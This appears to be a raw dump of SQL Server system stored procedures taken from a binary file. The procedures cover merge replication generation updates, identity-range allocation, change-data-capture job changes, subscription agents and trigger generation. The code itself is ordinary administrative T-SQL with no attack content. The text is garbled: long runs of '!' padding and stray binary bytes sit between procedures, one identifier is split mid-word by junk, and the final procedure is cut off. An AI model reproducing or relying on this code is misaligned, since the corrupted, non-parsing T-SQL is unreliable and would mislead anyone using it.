    IF @log_error = 1
        -- Ignore errors here. @error_id will be set to 0 in case of errors  
        EXEC sys.sp_MSget_new_errorid @error_id OUTPUT

    -- Insert idle record or update if history record is already 'idle'
    IF @runstatus = @idle or @update_existing_row = 1
    begin
        -- Attempt to update the last row if it is IDLE
        UPDATE MSsnapshot_history SET runstatus = @runstatus, time = @current_time, duration = @duration,
            comments = @comments,
            delivered_transactions = @delivered_transactions,
            delivered_commands = @delivered_commands,
            delivery_rate = @delivery_rate,
			error_id = case @error_id when 0 then error_id else @error_id end    
            WHERE
            agent_id = @agent_id and
            timestamp = @lastrow_timestamp and
            runstatus = @runstatus

        -- Insert idle record if there is not one
        if @@ROWCOUNT = 0
        begin
            INSERT INTO MSsnapshot_history VALUES (@agent_id, @runstatus, @start_time, 
            @current_time, @duration, @comments, @delivered_transactions, @delivered_commands, 
            @delivery_rate, @error_id, NULL)
        end
    end
    else
    begin
        INSERT INTO MSsnapshot_history VALUES (@agent_id, @runstatus, @start_time, 
            @current_time, @duration, @comments, @delivered_transactions, @delivered_commands, 
            @delivery_rate, @error_id, NULL)
    end
    
	-- Raise the appropriate error
	if @do_raiserror = 1
	begin
		select @agentclassname = formatmessage(14551)
		exec sys.sp_MSrepl_raiserror @agentclassname, @agent_name, @runstatus, @comments
	end

    IF @@ERROR <> 0
       RETURN (1)

    if @runstatus = 1
    begin
        select 'start_time' = sys.fn_replformatdatetime(@start_time)
    end
END
0 I8create function sys.fn_MSgetlogshippingmoniterlinkname 
(
    @monitor_server sysname -- this should be sent in upper case by the caller
)
returns sysname
as
begin
    return N'LOGSHIPLINK_' + substring(@monitor_server, 1, 90) + N'_' + cast(checksum(@monitor_server) as nvarchar(20))
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<u/r3)0 )8create procedure sys.sp_MSupdategenerations_afterbcp
    @pubid uniqueidentifier
as
    declare @guidsrc uniqueidentifier
    declare @guidstr varchar(100)
    declare @pubid_ins uniqueidentifier
    declare @nicknames varbinary(1000)
    declare @art_nick int
    declare @artnick int
    declare @coldate datetime
    declare @subscriber_number int
    declare @genstatus int
    declare @changecount int
    declare @source_gen bigint
    declare @dest_gen bigint
    declare @objid sysname
    declare @cmd nvarchar(4000)
    declare @retcode int
    declare @temp_genhistory_table sysname
    declare @qual_temp_genhistory_table sysname

    -- Security check
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
    if (@retcode <> 0) or (@@error <> 0)
            return 1

    select @guidstr = sys.fn_MSguidtostr(@pubid)
    select @temp_genhistory_table = 'MSmerge_genhistory_' + LOWER(@guidstr)
    select @qual_temp_genhistory_table = 'dbo.' + @temp_genhistory_table
    
    select @objid = object_id from sys.objects where name = @temp_genhistory_table
    if @objid is NULL
    begin
        raiserror(20008, 16, -1)
        return 1
    end   

    begin tran
    save tran updategenerations_afterbcp
    -- insert into genhistory, update to contents +tombstone , drop temp table should all be in the same transaction
    -- to avoid the scenario where merge agent fails after inserting into genhistory but before updating contents
    -- tombstone. While retrying merge, bcp would not be re-applied and the same old rows from the temp table
    -- could get reinserted into MSmerge_genhistory (with new generation no, but same guidsrc)

    select @cmd = 'insert into dbo.MSmerge_genhistory (guidsrc, pubid, art_nick, nicknames, coldate, genstatus, changecount, subscriber_number) 
    select guidsrc, pubid, art_nick, nicknames, coldate, genstatus, changecount, subscriber_number from ' + @qual_temp_genhistory_table

    exec @retcode = sys.sp_executesql @cmd
    if @@error <> 0 or @retcode <> 0
        goto FAILURE
        
    select @cmd = 'alter table ' + @qual_temp_genhistory_table + ' add mgh_generation bigint'

    exec @retcode = sys.sp_executesql @cmd
    if @@error <> 0 or @retcode <> 0
        goto FAILURE
        
        -- add clustered index
    select @cmd = 'create unique clustered index c1' + @temp_genhistory_table + ' on ' + @qual_temp_genhistory_table + '(guidsrc)' 

    exec @retcode = sys.sp_executesql @cmd
    if @@error <> 0 or @retcode <> 0
        goto FAILURE

    select @cmd = 'update ' + @qual_temp_genhistory_table + ' set mgh_generation = mgh.generation 
    from ' + @qual_temp_genhistory_table + ' tgh  
    join dbo.MSmerge_genhistory mgh on mgh.guidsrc = tgh.guidsrc'    
    
    exec @retcode = sys.sp_executesql @cmd
    if @@error <> 0 or @retcode <> 0
        goto FAILURE

    select @cmd = 'drop index c1' + @temp_genhistory_table + ' on ' + @qual_temp_genhistory_table 
    
    exec @retcode = sys.sp_executesql @cmd
    if @@error <> 0 or @retcode <> 0
        goto FAILURE
        
    -- add clustered index
    select @cmd = 'create unique clustered index c2' + @temp_genhistory_table + ' on ' + @qual_temp_genhistory_table + '(generation)' 

    exec @retcode = sys.sp_executesql @cmd
    if @@error <> 0 or @retcode <> 0
        goto FAILURE

    select @cmd = 'update dbo.MSmerge_contents set generation = tgh.mgh_generation 
    from dbo.MSmerge_contents mc 
    join ' + @qual_temp_genhistory_table + ' tgh on tgh.generation = mc.generation and tgh.art_nick = mc.tablenick'

    exec @retcode = sys.sp_executesql @cmd
    if @@error <> 0 or @retcode <> 0
        goto FAILURE

    select @cmd = 'update dbo.MSmerge_tombstone set generation = tgh.mgh_generation 
    from dbo.MSmerge_tombstone mt
    join ' + @qual_temp_genhistory_table + ' tgh on tgh.generation = mt.generation and tgh.art_nick = mt.tablenick'

    exec @retcode = sys.sp_executesql @cmd
    if @@error <> 0 or @retcode <> 0
        goto FAILURE

    -- drop temp genhistory table
    exec ('drop table ' + @qual_temp_genhistory_table)
    commit tran

    return (0)
FAILURE:  
    if @@trancount>0
    begin
        rollback tran updategenerations_afterbcp
        commit tran
    end
    return(1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`G
<<Z&ז0LfZ@ {8
create procedure sys.sp_MSdeleteretry 
    (@temptable nvarchar(386),
     @tablenick int,
     @rowguid uniqueidentifier)
as
    declare @guidstr nvarchar(38)
    declare @nickstr nvarchar(12)
    declare @retcode int

    declare @quotedtemptable nvarchar(388)

    /*
    ** do permission checking
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick = @tablenick
    if @retcode<>0 or @@ERROR<>0 return (1)

    /*
    ** Modify temp table, granted to public.
    */
    
    set @nickstr = convert(nchar, @tablenick)
    set @guidstr = '''' + convert(nchar(36), @rowguid) + ''''

    select @quotedtemptable = quotename(@temptable)

    execute ('delete from ' + @quotedtemptable + ' where tablenick = ' +
              @nickstr + ' and rowguidcol = ' + @guidstr)
    IF @@ERROR <>0 RETURN (1)
    return (0)
0/m[ 8create procedure sys.sp_cdc_change_job
(
	@job_type nvarchar(20) = N'capture',
	@maxtrans int = null,
	@maxscans int = null,
	@continuous bit = null,
	@pollinginterval bigint = null,
	@retention bigint = null,
	@threshold bigint = null
)	
as
begin
    set nocount on

    declare @retcode int
		,@db_name sysname
		
	set @db_name = db_name()	

    --
    -- Job security check proc
    --
    exec @retcode = [sys].[sp_MScdc_job_security_check]
    if @retcode <> 0 or @@error <> 0
        return(1)
        
    -- Verify database is currently enabled for change data capture
    if ([sys].[fn_cdc_is_db_enabled]() != 1)
    begin
		raiserror(22901, 16, -1, @db_name)
        return 1
    end
        
	set @job_type = rtrim(ltrim(lower(@job_type)))
        
    -- Verify parameter
    if @job_type not in (N'capture', N'cleanup')
    begin
        raiserror(22992, 16, -1, @job_type)
        return(1)
    end
   
	-- Call internal stored procedure to complete verification and update job attributes
	exec @retcode = sys.sp_cdc_change_job_internal
		@job_type,
		@maxtrans,
		@maxscans,
		@continuous,
		@pollinginterval,
		@retention,
		@threshold
		
	if @@error <> 0 or @retcode <> 0
		return 1
		
	return 0		
end
0^@ 8create procedure sys.sp_startpullsubscription_agent
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname
)
as
begin
    set nocount on
    declare @retcode int
            ,@start tinyint

    set @retcode = 0
    set @start = 0

    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
        return 1

    exec @retcode = sys.sp_MSpullsubscriptionagentjobcontrol
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @action = @start
    return @retcode 
end
0ta 8
create procedure sys.sp_MSreleasemakegenerationapplock
    as
    set nocount on

    declare @retcode smallint
    declare @lock_resource nvarchar(255)
    declare @DbPrincipal sysname

    -- Security check
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
    if (@retcode <> 0) or (@@error <> 0)
            return 1
    
    select @retcode = 0
    select @lock_resource = N'MSinternal_makegeneration_inprogress' + 
                convert(nvarchar(11), db_id())
                
    if exists (select * from sys.database_principals where name=N'MSmerge_PAL_role' and type = 'R')
        select @DbPrincipal = N'MSmerge_PAL_role'
    else
        select @DbPrincipal = N'db_owner'
                
       exec @retcode = sp_releaseapplock @Resource = @lock_resource, @LockOwner = N'Session', @DbPrincipal = @DbPrincipal
       if @@error <> 0 or @retcode < 0
        return (1)    
    else
        return (0)
                
0[a@ D8?Bh
50
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!v`<(5vEcreate procedure sys.sp_MSallocate_new_identity_range
    @subid uniqueidentifier,
    @artid uniqueidentifier,
    @range_type tinyint, -- 1=publisher range, 2=subscriber range
    @ranges_needed tinyint output, -- 0=none needed, 1=one range needed, 2=both ranges needed
    @range_begin numeric(38,0) = NULL output,
    @range_end numeric(38,0) = NULL output,
    @next_range_begin numeric(38,0) = NULL output,
    @next_range_end numeric(38,0) = NULL output,

    -- the following parameters are only used for logging the identity range
    -- allocation on the distributor. These are needed because in case of an
    -- anonymous or a pull subscription when this proc is called for the first time
    -- the publisher has no record of the subid above in sysmergesubscriptions
    -- the reconciler passes these in only when an initial range is being allocated
    @publication sysname = NULL,
    @subscriber sysname = NULL,
    @subscriber_db sysname = NULL
as
    declare @max_used numeric(38,0)
    declare @is_pub_range bit
    declare @range bigint
    declare @ident_increment numeric(38,0)
    declare @retcode int
    declare @objid int
    declare @qualified_table_name nvarchar(517)
    declare @applockname nvarchar(255)    
    declare @DbPrincipal sysname  

    

    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @artid=@artid
    if (@retcode <> 0) or (@@error <> 0)
        return 1
        
    exec @retcode = sys.sp_MScheck_article_auto_identity @artid, @objid output, @qualified_table_name output
    if @retcode<>0 or @@error<>0
        return 1
        
    select @ident_increment = IDENT_INCR(@qualified_table_name)

    if @range_type = 1
    begin
        select @is_pub_range = 1
    end
    else
    begin
        select @is_pub_range = 0
    end


    -- do the following resetting of pub's max_used to reflect the max_used only if 
    -- this is a root publisher and not if it is a republisher
    if (sys.fn_MSmerge_isrepublisher(@artid)=0)
    begin
        declare @publisher_max_used numeric(38,0)
        declare @pubid uniqueidentifier
        declare @pub_ranges_needed tinyint
        declare @pub_refresh_constraint bit
        
        select @pubid = subid, @publisher_max_used = max_used from dbo.MSmerge_identity_range 
            where artid = @artid and is_pub_range = 1 and (sys.fn_MSmerge_islocalpubid(subid)=1)
        if @pubid is NULL
        begin
            raiserror(20663, 16, -1)
            return 1
        end
        -- also update the publisher's identity range max to reflect this subscriber's allocation
        -- only if the subscriber thinks it has a valid allocation
        if @next_range_end is not NULL
        begin
            if (@ident_increment > 0 and @next_range_end > @publisher_max_used) or
               (@ident_increment < 0 and @next_range_end < @publisher_max_used)
            begin
                update dbo.MSmerge_identity_range 
                    set max_used = @next_range_end
                    where subid = @pubid and artid = @artid and is_pub_range = 1
                if @@error<>0
                begin
                    raiserror(20663, 16, -1)
                    return 1
                end
            end
        end

        -- find the local pubid and refresh the publisher's identity range allocation if this is a
        -- dbo user. This will be needed when publisher inserts are all done by non-dbo users.
        -- Code for refreshing the publisher range in the insert trigger will not be executed when 
        -- run by a non-dbo user.
        -- we need this to refresh the publisher's range here in that case. 
        -- Do this only when this is the root publisher and not a republisher. 
        -- The republisher's range will get refreshed when the merge agent runs.
        if (is_member('db_owner') = 1)
        begin
            select @pub_ranges_needed = 0
            if IDENT_CURRENT(@qualified_table_name) is NULL
                set @pub_refresh_constraint = 0
            else
                set @pub_refresh_constraint = 1

            -- sp_MScheck_publisher_range_refresh checks if ranges_need=0/1/2 and based on that value
            -- sp_MSrefresh_publisher_idrange allocates the ranges. If two threads call sp_MScheck.. at the same time
            -- decide ranges_needed=1 followed by a serialized call to sp_MSrefresh.., we will end up losing an range
            -- and IDENT_CURRENT value will be out of the allocated range (< range_begin). Hence the need to
            -- serialize the calls to sp_MScheck.. and sp_MSrefresh.. 
            -- see qfe 50002854
            if exists (select * from sys.database_principals where name=N'MSmerge_PAL_role' and type = 'R')
                select @DbPrincipal = N'MSmerge_PAL_role'
            else
                select @DbPrincipal = N'db_owner'

            set @applockname= N'sp_MSallocate_new_identity_range_EX' + convert(nvarchar(11), db_id())
            -- wait for a maximum of 3 min to get the loc
            exec @retcode= sp_getapplock @Resource= @applockname, @LockMode= N'Exclusive', @LockOwner= N'Session', @LockTimeout= 180000, @DbPrincipal = @DbPrincipal 
            if @@error <> 0 or @retcode < 0
            begin
                raiserror(20666, 16, -1)
                return 1
            end
                        
            -- a previous snapshot has already setup the publisher range. So we will just refresh the subscriber's
            -- publisher range if needed here.
            exec @retcode = sys.sp_MScheck_publisher_range_refresh @qualified_table_name, @pubid, @artid, @pub_ranges_needed output
            if @retcode<>0 or @@error<>0
            begin
                exec sp_releaseapplock @Resource= @applockname, @LockOwner= N'Session', @DbPrincipal = @DbPrincipal                            
                raiserror (20689, 16, -1, @qualified_table_name)
                return (1)
            end
            if @pub_ranges_needed > 0
            begin
                exec @retcode = sys.sp_MSrefresh_publisher_idrange @qualified_table_name, @pubid, @artid, @pub_ranges_needed, @pub_refresh_constraint
                if @@error<>0 or @retcode<>0
                begin
                    exec sp_releaseapplock @Resource= @applockname, @LockOwner= N'Session', @DbPrincipal = @DbPrincipal                                                
                    raiserror(20666, 16, -1)
                    return 1
                end
            end
            exec sp_releaseapplock @Resource= @applockname, @LockOwner= N'Session', @DbPrincipal = @DbPrincipal                                
        end
    end

    if not exists (select * from dbo.MSmerge_identity_range where subid=@subid and artid=@artid and is_pub_range=@is_pub_range)
    begin
        -- create an entry for this subscriber
        insert dbo.MSmerge_identity_range values (@subid, @artid, NULL, NULL, NULL, NULL, @is_pub_range, NULL)
        if @@error<>0
        begin
            raiserror(21197, 16, -1)
            return 1
        end
    end

    
    -- even if the range required is none, we will update the information stored on the publisher
    -- with what was passed in.
    if @ranges_needed = 0
    begin
        if @range_begin is NULL
        begin
            -- this is case when we are getting the first range for the subscriber
            if exists (select * from dbo.MSmerge_identity_range where subid=@subid and artid=@artid and is_pub_range=@is_pub_range and range_begin is not NULL)
            begin
                select @range_begin = range_begin,
                       @range_end = range_end,
                       @next_range_begin = next_range_begin,
                       @next_range_end = next_range_end
                    from dbo.MSmerge_identity_range where subid=@subid and artid=@artid and is_pub_ran!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<,׺)rEge=@is_pub_range
                select @ranges_needed = 2
            end
            else
            begin
                select @ranges_needed = 2 -- we will ask for 2 ranges here since this is the first allocation for this subscriber
                exec @retcode = sys.sp_MSget_new_idrange 
                                        @qualified_table_name, 
                                        @artid, 
                                        @range_begin output, 
                                        @range_end output, 
                                        @next_range_begin output, 
                                        @next_range_end output, 
                                        @range_type, 
                                        @ranges_needed 
                if @@error<>0 or @retcode<>0
                begin
                    raiserror(21197, 16, -1)
                    return 1
                end
                update dbo.MSmerge_identity_range 
                set range_begin = @range_begin, 
                    range_end = @range_end, 
                    next_range_begin = @next_range_begin, 
                    next_range_end = @next_range_end,
                    max_used = NULL
                where subid = @subid and artid = @artid and is_pub_range = @is_pub_range
                if @@error<>0
                begin
                    raiserror(21197, 16, -1)
                    return 1
                end
            end
        end
        else
        begin
            update dbo.MSmerge_identity_range 
                set range_begin = @range_begin, 
                    range_end = @range_end, 
                    next_range_begin = @next_range_begin, 
                    next_range_end = @next_range_end,
                    max_used = @max_used
                where subid = @subid and artid = @artid and is_pub_range = @is_pub_range
            if @@error<>0
            begin
                raiserror(21197, 16, -1)
                return 1
            end
        end
    end
    else
    begin
        -- get a new range for the given subscriber
        exec @retcode = sys.sp_MSget_new_idrange 
                                @qualified_table_name, 
                                @artid, 
                                @range_begin output, 
                                @range_end output, 
                                @next_range_begin output, 
                                @next_range_end output, 
                                @range_type, 
                                @ranges_needed
        if @@error<>0 or @retcode<>0
        begin
            raiserror(21197, 16, -1)
            return 1
        end
        
        update dbo.MSmerge_identity_range 
            set range_begin = @range_begin, 
                range_end = @range_end, 
                next_range_begin = @next_range_begin, 
                next_range_end = @next_range_end,
                max_used = @max_used
            where subid = @subid and artid = @artid and is_pub_range = @is_pub_range
        if @@error<>0
        begin
            raiserror(21197, 16, -1)
            return 1
        end
    end

    -- if we reached here it means that the range was successfully allocated. Call a stored procedure
    -- to log this information on the distributor. We need to add code in publisher restore from backup
    -- to pick up this information from the distributor and automatically set the max_used correctly.
    if @ranges_needed > 0
    begin
        exec @retcode = sys.sp_MSmerge_log_idrange_alloc_on_distributor    
                            @subid, 
                            @artid, 
                            @is_pub_range, 
                            @ranges_needed,
                            @range_begin,
                            @range_end,
                            @next_range_begin,
                            @next_range_end,
                            @publication,
                            @subscriber,
                            @subscriber_db
    end
    
    return 0

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(svcreate procedure sys.sp_MScreatelightweightinsertorupdatetriggers
	@guidstring			nchar(32),
	@qualified_name 	nvarchar(517),
	@rowguidcol			sysname,
	@tablenick			int,
	@inserttrigger		bit	-- 1=insert trigger, 0=update trigger
as
	set nocount on

	declare @cmd		nvarchar(max)
	declare @retcode	int
	declare @missingbm	varbinary(128)
	declare @colsupdatedstr varbinary(200)
	declare @column_tracking bit
	declare @missingbmstr varchar(1000)
	declare @filtering_column_id int	
	declare @prev_filtering_column_id int
	declare @filtering_column_name sysname
    declare @timestampbm varbinary(500)
    declare @timestampbmstr varchar(1000)
    declare @objid int
        
    set @timestampbm= 0x00
    set @objid= object_id(@qualified_name)

    if @objid is null return 1
	
	delete from dbo.MSmerge_filteringcolumns_lightweight
		where tablenick = @tablenick
		and column_id not in (select column_id from sys.columns 
							where object_id = @objid)
	
	select @column_tracking= column_tracking,
		   @missingbm= missing_cols
		from dbo.sysmergearticles where objid = @objid
	if @column_tracking is null return 1

	if @missingbm is not null
	begin
		exec sys.xp_varbintohexstr 
							@missingbm, 
							@missingbmstr out
	end

	set @cmd= 'create trigger ' 

	if 1=@inserttrigger
	begin
		set @cmd= @cmd + quotename('MSmerge_ins_lws_' + @guidstring) + ' on ' + @qualified_name + ' after insert'
	end
	else
	begin
		set @cmd= @cmd + quotename('MSmerge_upd_lws_' + @guidstring) + ' on ' + @qualified_name + ' after update'

    	-- Find the bitmap of timestamp columns. The trigger needs to exclude them from
    	-- the result of column_updated(), so that MSmerge_rowtrack.changedcolumns 
    	-- will not produce a false conflict.
        if exists (select * from dbo.sysmergearticles where objid=@objid and column_tracking=1)
    	begin
            exec @retcode= sys.sp_MSset_timestamp_bm
                                @timestampbm= @timestampbm output,
                                @objid= @objid
            
        	if @@error <> 0 or @retcode <> 0 return 1
    	end
    	else
    	begin
            set @timestampbm= 0x00
    	end
	
        exec sys.xp_varbintohexstr @timestampbm, @timestampbmstr output
	end

	set @cmd= @cmd + '
	as
	set nocount on

	if sessionproperty(''replication_agent'') = 1 and (select trigger_nestlevel()) = 1
		return

    declare @retcode int
	declare @baserows_count int
	select @baserows_count = count(*) from inserted 
	if @baserows_count=0 return

	'

	if 0=@inserttrigger
	begin
		set @cmd = @cmd + '
		if update(' + quotename(@rowguidcol) + ')
		begin
			if @@trancount > 0 rollback tran
			raiserror (20062, 16, -1)
		end    
		'
		
		select top 1 @filtering_column_id = fc.column_id
		from dbo.MSmerge_filteringcolumns_lightweight fc join dbo.sysmergearticles sma
		on fc.tablenick = sma.nickname
		and fc.publication_id = sma.pubid
		and fc.tablenick = @tablenick
		and sma.well_partitioned_lightweight = 1
		order by fc.column_id
			
		while @filtering_column_id is not null
		begin
			select @filtering_column_name = name from sys.columns
			where object_id = @objid
			and column_id = @filtering_column_id
			
			if @filtering_column_name is not null
			begin
				set @cmd = @cmd + '
				if update(' + quotename(@filtering_column_name) + ')
				begin
					if @@trancount > 0 rollback tran
					raiserror(21583, 16, -1, ''' + @qualified_name + ''')
				end    
				'
			end
			
			select @prev_filtering_column_id = @filtering_column_id
			select @filtering_column_id = NULL
			
			select top 1 @filtering_column_id = fc.column_id
			from dbo.MSmerge_filteringcolumns_lightweight fc join dbo.sysmergearticles sma
			on fc.tablenick = sma.nickname
			and fc.publication_id = sma.pubid
			and fc.tablenick = @tablenick
			and sma.well_partitioned_lightweight = 1
			and fc.column_id > @prev_filtering_column_id
			order by fc.column_id
		end
	end

	set @cmd= @cmd + '
	declare @metarows_count int
	declare @tablenick int
	declare @err int

	declare @METADATA_TYPE_InsertLightweight tinyint
	declare @COLUMNS_ENUMERATED_AllOnOtherReason tinyint

	set @METADATA_TYPE_InsertLightweight= 7 
	set @COLUMNS_ENUMERATED_AllOnOtherReason= 2
	'

	if 0=@inserttrigger
	begin
		set @cmd= @cmd + '
		declare @METADATA_TYPE_UpdateLightweight tinyint
